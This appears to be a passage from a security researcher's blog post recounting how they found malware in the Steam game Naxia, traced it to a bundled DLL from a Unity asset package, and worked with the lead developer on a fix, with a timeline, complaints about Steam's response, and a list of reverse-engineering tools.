I posted a thread on their community forums with some of this information which was suddenly merged into an older 3-4 page post and basically buried. I was pretty annoyed cause it felt like they were covering this up, so I joined their Discord and kind of yelled at them for merging my thread into an older one. The response I got was:

Yes we did it merge it for better communication about the issue

Sorry, but I completely disagree to any company that thinks taking a serious new topic and merging it into a 3-4 page topic is ‘better’ in any way. It hid the severity of this to a topic no one was going to sit and read 3-4 pages of to get to my posts. Especially when the second response to the thread is from a marked developer saying it was ‘fixed’ (when it wasn’t). I was pretty annoyed and put pressure on them as you can see here:

https://i.imgur.com/lczNu9W.png

At this point, the lead developer got on Discord and pm’d me directly. For some reason they were really stuck on the idea of having this fixed already and that just by running Kaspersky again over the game files and it finding nothing, that it means the game is fully clean. It took a bit to explain to the dev the problem and to listen to me. (Although, keep in mind I did not know which file was the infected file yet.)

Him and I went back and forth a bit about my post being merged, and he agreed to allow me to repost it in a separate topic, which I did.

From here, him and I went back and forth a bit discussing the potential issue/cause. At this point I also refunded the game because of it being infected. I was going to leave things at that and let them figure out the rest, but the developer was pretty concerned and wanted me to continue helping with the issue. He reached out to me the next day to request me to update my game to see if it was fixed now after they tweaked some of their build setup. I informed him that I had refunded the game already and couldn’t.

In order to help with this situation, he gave me a free key for the game to assist with this further after I agreed to take said key. So I had to download the game again (since Steam doesn’t handle refund > reactivate > Verify Local Files properly for some reason and just wanted to download everything again.)

After reinstalling, it was clear the game was still infected. I informed them it did not fix any issues and that it was still infected. I explained everything I knew so far about the issue to the lead dev, gave all the info I could before I knew which file was actually infected and he went off to try and find any infection on their build system.

Later that day, I did the above full-dive into finding that it was in fact the ICSharpCode.NRefactory.dll file that was infected and quickly let the lead dev know.

He informed he that they aren’t using it directly and he figured it was being bundled from a build merge step. Shortly after he found the offending package: Mesh Effects https://assetstore.unity.com/packages/vfx/particles/spells/mesh-effects-67803

So a quick rundown of this timeline:

  • 08/16/2020 - I purchased the game and began the download.
  • 08/18/2020 - I take my first look/dive into the game.
  • 08/18/2020 - I posted on their Steam forum, left a review and joined their Discord to post my initial findings.
  • 08/18/2020 - One of the developers reached out on Discord to mention it was being worked on.
  • 08/18/2020 - Lead dev reaches out to me at 11pm PST and we begin discussions.
  • 08/18/2020 - I refunded the game.
  • 08/20/2020 - Developers inform me they pushed an update and asked me to check it, I inform them I already refunded.
  • 08/20/2020 - Lead developer contacts me via pm again, offers a key. (I accept.)
  • 08/20/2020 - I reactivate, redownload and retest the game; still infected.
  • 08/21/2020 - I give the lead dev more information that I have reversed/found to try to help them find the root cause of the infection.
  • 08/21/2020 - 12pm I discover the true infected file; contact the lead dev again.
  • 08/21/2020 - 2pm lead dev figures out the cause, reports to back to me.
  • 08/21/2020 - 2:40pm lead dev pushes a fixed build of the game and asks me to test.
  • 08/21/2020 - 3pm - Game is no longer infected; problem solved!

https://i.imgur.com/atf0tHA.png

Overall, I would say they did a great job dealing with this after being drilled a little at the start to take it a bit more serious. The lead developer reached out to me directly and worked with me to allow me to help them get this figured out/resolved. Rather than try to burry the issue, hide the information, or just ignore it, they did take it serious and worked with me. The lead developer also gave me the gave for free to assist with ensuring it got fixed and I could verify it was no longer infected. Imagine if other companies were like this! (*cough* Last Epoch *cough*)

Within 4 days of my report it got resolved. Within 3 hours of me figuring out the infected file, an update was pushed to fix the game.

I’m happy with the outcome and how this got handled by them. :)

Steams Response

So the same can’t be said for Steam. My intention here was not to ruin the game, but to protect other players. Naxia was just put on sale at this time, so it was going to land up getting an influx of new players while it was infected, so I reported it to Steam directly to try and save others from getting infected.

Not only did Steam not give a shit, they didn’t respond to my ticket until just after the Naxia developer pushed the update. Literally like 10 minutes later Steam responded to my ticket and was like oh the devs got it sorted, all good now.

I used to think Valve would take this kind of thing more serious, but nope! It would be insanely easy to infect a large amount of players/users of Steam because of how Steam responded/reacted to this. I can only imagine how many other things are on Steam currently that are infected because they simply don’t give a shit..

Tools Used In This Research

I often get asked what tools I use so here’s a rundown of the main ones I used during this entire endeavor.

  • VMWare
  • dnSpy
  • CFF Explorer
  • 010 Editor
  • IDA
  • Ghidra
  • x64Dbg
  • procexp + procmon

Thanks for reading! This was a long one and I even cut out a bunch of code snippets from the dumped files!

Comments